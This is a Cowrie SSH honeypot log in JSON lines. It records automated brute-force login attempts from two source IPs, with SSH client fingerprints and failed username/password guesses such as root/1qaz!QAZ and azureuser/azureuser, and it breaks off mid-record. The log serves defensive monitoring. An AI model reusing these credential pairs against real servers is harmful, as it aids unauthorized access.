{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:22.063323Z","src_ip":"192.109.200.78","session":"929b71b44917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:22.145327Z","src_ip":"192.109.200.78","session":"929b71b44917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:22.691671Z","src_ip":"192.109.200.78","session":"929b71b44917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:23.799690Z","src_ip":"192.109.200.78","session":"929b71b44917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51536,"dst_ip":"10.17.0.5","dst_port":22,"session":"552ff5cec229","protocol":"ssh","message":"New connection: 192.109.200.78:51536 (10.17.0.5:22) [session: 552ff5cec229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:26.208725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:26.302453Z","src_ip":"192.109.200.78","session":"552ff5cec229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:26.306821Z","src_ip":"192.109.200.78","session":"552ff5cec229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:26.645305Z","src_ip":"192.109.200.78","session":"552ff5cec229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:27.732849Z","src_ip":"192.109.200.78","session":"552ff5cec229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44700,"dst_ip":"10.17.0.5","dst_port":22,"session":"b43e6134d086","protocol":"ssh","message":"New connection: 192.109.200.78:44700 (10.17.0.5:22) [session: b43e6134d086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:30.345715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:30.350564Z","src_ip":"192.109.200.78","session":"b43e6134d086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:30.437733Z","src_ip":"192.109.200.78","session":"b43e6134d086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:30.701487Z","src_ip":"192.109.200.78","session":"b43e6134d086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:31.787420Z","src_ip":"192.109.200.78","session":"b43e6134d086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44710,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae4bb8bf5692","protocol":"ssh","message":"New connection: 192.109.200.78:44710 (10.17.0.5:22) [session: ae4bb8bf5692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:34.653947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:34.659794Z","src_ip":"192.109.200.78","session":"ae4bb8bf5692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:34.743739Z","src_ip":"192.109.200.78","session":"ae4bb8bf5692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:35.004413Z","src_ip":"192.109.200.78","session":"ae4bb8bf5692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:36.094447Z","src_ip":"192.109.200.78","session":"ae4bb8bf5692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37404,"dst_ip":"10.17.0.5","dst_port":22,"session":"c72e2b5b75d5","protocol":"ssh","message":"New connection: 192.109.200.78:37404 (10.17.0.5:22) [session: c72e2b5b75d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:38.645499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:38.653566Z","src_ip":"192.109.200.78","session":"c72e2b5b75d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:38.737855Z","src_ip":"192.109.200.78","session":"c72e2b5b75d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:38.992192Z","src_ip":"192.109.200.78","session":"c72e2b5b75d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37308,"dst_ip":"159.203.135.109","dst_port":22,"session":"20461d4646a9","protocol":"ssh","message":"New connection: 159.203.92.129:37308 (159.203.135.109:22) [session: 20461d4646a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:39.634635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:39.639156Z","src_ip":"159.203.92.129","session":"20461d4646a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:39.643616Z","src_ip":"159.203.92.129","session":"20461d4646a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc","message":"login attempt [admin/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:39.654844Z","src_ip":"159.203.92.129","session":"20461d4646a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:40.079731Z","src_ip":"192.109.200.78","session":"c72e2b5b75d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:40.661021Z","src_ip":"159.203.92.129","session":"20461d4646a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37416,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e20f0e00fc2","protocol":"ssh","message":"New connection: 192.109.200.78:37416 (10.17.0.5:22) [session: 9e20f0e00fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:42.802490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:42.807323Z","src_ip":"192.109.200.78","session":"9e20f0e00fc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:42.891727Z","src_ip":"192.109.200.78","session":"9e20f0e00fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:43.140831Z","src_ip":"192.109.200.78","session":"9e20f0e00fc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:44.227649Z","src_ip":"192.109.200.78","session":"9e20f0e00fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37418,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab99b728e67","protocol":"ssh","message":"New connection: 192.109.200.78:37418 (10.17.0.5:22) [session: 9ab99b728e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:46.809649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:46.814374Z","src_ip":"192.109.200.78","session":"9ab99b728e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:47.187937Z","src_ip":"192.109.200.78","session":"9ab99b728e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:47.438087Z","src_ip":"192.109.200.78","session":"9ab99b728e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:48.522550Z","src_ip":"192.109.200.78","session":"9ab99b728e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50072,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb7682b8b59d","protocol":"ssh","message":"New connection: 192.109.200.78:50072 (10.17.0.5:22) [session: cb7682b8b59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:51.037024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:51.040596Z","src_ip":"192.109.200.78","session":"cb7682b8b59d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-51